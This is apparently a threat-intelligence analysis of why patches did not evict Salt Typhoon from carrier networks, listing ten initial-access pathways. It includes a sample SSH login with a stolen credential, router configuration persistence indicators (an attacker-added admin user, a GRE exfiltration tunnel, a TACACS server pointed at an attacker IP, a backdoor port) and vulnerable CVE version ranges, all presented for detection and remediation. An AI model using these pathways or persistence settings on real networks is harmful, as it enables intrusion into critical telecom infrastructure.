Why the patches didn’t fix the problem — and how Salt Typhoon could still get in today.

The technical reasons every claimed fix is non-persistent

Each card below documents what the fix technically covers, what it provably does not cover, and why the residual gap remains exploitable against the documented Salt Typhoon TTP class.2

Persistence-dimension scoring across all claimed fixes

Each fix scored against the six dimensions a real remediation would have to cover. Derived from the Talos persistence-kit inventory2, the credential-layer surface15, the ROMMONkit / firmware layer4, the SS7/Diameter signaling layer11, the auditability requirement, and the simultaneous-eviction constraint5.

Reading horizontally: no claimed fix scores “yes” across all six dimensions. Reading vertically: no dimension scores “yes” across all the claimed fixes. The gap isn’t any one fix — the gap is the absence of an integrated operation with documented, simultaneous, multi-dimensional coverage.

How Salt Typhoon could still obtain initial access today

The pathways below are independently sufficient for fresh initial access to a fully-patched carrier network. Each is grounded in either the Talos IR documentation, the CISA joint advisory, or contemporaneous public reporting; none requires a novel zero-day.

1. Credential reuse on fully-patched routers.

   Per Cisco Talos, the primary initial-access vector in investigated incidents was the threat actor obtaining legitimate victim login credentials, not CVE exploitation.2 Anne Neuberger’s December 2024 White House briefing put the stolen-credential surface at ~100,000 router admin accounts.15 A fully-patched IOS XE router with a stolen-but-not-rotated admin credential authenticates a login as legitimate. The patch is irrelevant.

   ## Pathway P1 — fully-patched router; stolen credential still valid:
   $ ssh admin@<carrier-router>
   admin@<carrier-router>'s password: # stolen credential, never rotated
   <router># enable
   <router>## # full administrative shell on a patched device

2. Re-use of surviving persistence-kit footholds left in running-config.

   If the carrier’s remediation did not audit the device’s running-config against a golden template, every Talos-documented config-level persistence indicator survives the image patch:

   ## Pathway P2 — running-config indicators that survive patching:
   <router>## show running-config | include tunnel mode gre
    tunnel mode gre ip                              # surviving GRE exfil tunnel
   <router>## show running-config | include username
    username typhoon_admin privilege 15 secret ...  # attacker-added local user
   <router>## show running-config | section tacacs-server
    tacacs-server host <attacker-ip>                # AAA server IP swap
   <router>## show ip socket | include 57722
    tcp     57722        0.0.0.0:0      LISTEN     # sshd_operns backdoor
   <router>## show guestshell
    Guest Shell: Enabled                            # container with attacker tools

   Any one of these is sufficient for fresh access; CISA’s remediation guidance is to audit every line.5 Without that audit, the patch closes the front door while the back doors remain open.

3. End-of-life and legacy platforms that cannot be patched.

   Cisco IOS Classic 12.x ISRs, EOL Catalyst 6500 supervisor engines, and legacy NX-OS chassis are out of vendor support. No patch ships. Salt Typhoon’s CVE-2018-0171 (Smart Install) Talos-confirmed exploitation case2 sits on exactly this class of device. The only fix is physical replacement; until then, the entry vector remains live.

4. Multi-vendor N-day inventory not deployed at every carrier.

   The joint advisory inventory5 spans Cisco, Palo Alto (CVE-2024-3400), Ivanti (CVE-2024-21887, CVE-2023-46805), Fortinet (CVE-2023-48788), Sophos (CVE-2022-3236), Microsoft Exchange (CVE-2021-26855 ProxyLogon), and Citrix NetScaler (CVE-2025-5777 CitrixBleed 2). Carrier ecosystems include hundreds of vendor-adjacent devices: VPN concentrators, jump hosts, mail gateways, identity infrastructure. Any one un-patched device on any of these vendors is an alternative entry path into the same carrier network. Censys reports tens of thousands of public exposures across these families as of 2026.6

5. CitrixBleed 2 (CVE-2025-5777) — recent disclosure, session-token disclosure.

   An out-of-bounds memory read on NetScaler Gateway / AAA virtual servers (CVSS 9.3) lets an unauthenticated attacker read process memory and recover valid session tokens, which can then be replayed to bypass MFA on the gateway.7 Added to the CISA KEV catalog on July 11, 2025. Patching closes the read; it does not invalidate session tokens already exfiltrated. Any carrier or carrier-adjacent organization running unpatched 14.1 prior to 14.1-43.56, 13.1 prior to 13.1-58.32, or EOL 12.1 / 13.0 has either an active or a historical exposure.

6. Variant-hunt against already-disclosed bug-class sink families.

   Salt Typhoon’s observed tradecraft is variant research5: patched advisories become the seed for sibling-sink hunts in the same binary. The Web Services Management Agent (WSMA) sink class that yielded CVE-2023-20198 / CVE-2023-20273 is the kind of surface where a second variant remains findable by an actor running the workflow continuously and not by defenders without equivalent automation. The 14-month gap between CVE-2023-20198 disclosure and its weaponization at scale is the empirical proof that this pathway works on the offensive side and isn’t being matched on the defensive side.

7. SS7 / Diameter signaling-layer abuse — un-patchable by design.

   SS7 (2G/3G) and Diameter (4G/5G control plane) lack origin authentication by protocol design. Any peer connected to the SS7 international transit network can issue queries that the receiving switch will honor; fraudulent signaling sources can be inserted at HLR / HSS, MSC, MME, or PGW boundaries. The defense is architectural — SS7 firewalls (Mavenir, Adaptive Mobile, Cellusys) at the interconnect, Diameter Edge Agent screening per GSMA FS.11 / FS.19 — not a patch.11 Until that architectural fix is universally deployed (years and billions of dollars per public reporting), the signaling plane remains a parallel persistence path independent of the IP-layer device fleet.

8. Compromised backups restored after the cut.

   Any device backup or startup-config produced during the residency window (March 2024 onward for the National Guard case16; 2023–2024 for the carrier compromises) is presumed contaminated. A carrier ops engineer restoring “known good” config from such a backup re-installs the persistence kit on the patched device. The CISA simultaneous-eviction guidance5 specifies rebuilding from a golden template, not from device backups — absent that discipline, backup restore is itself a re-introduction pathway.

9. National Guard exfiltration data weaponized as initial-access intelligence.

   Per the June 2025 DHS memo,16 Salt Typhoon exfiltrated from a U.S. state’s Army National Guard network: administrator credentials, full network diagrams, geographic-location maps, PII of service members, and the unit’s data traffic with counterparts in every other U.S. state and at least four U.S. territories. 1,462 network-configuration files from ~70 U.S. government and critical-infrastructure entities across 12 sectors during 2023–2024. This is pre-positioned intelligence: the loot from one Guard unit maps directly onto the topology of the cybersecurity partners of every other unit. Future intrusions land on networks whose layout the actor already has in hand. The DHS memo’s explicit warning is that this likely enables follow-on compromise of other state Guard units and their fusion-center partners.

10. Fresh credential theft against engineers with router access.

    Even if the original ~100,000-credential surface were fully rotated tomorrow, the next phishing campaign against a carrier engineer with TACACS+ / RADIUS credentials, or with FIDO2-but-misconfigured admin auth, reproduces the credential-reuse pathway above. Per CISA hardening guidance,5 phishing-resistant MFA on every admin account is the structural defense; absent that, fresh credentials enter the actor’s rotation continuously.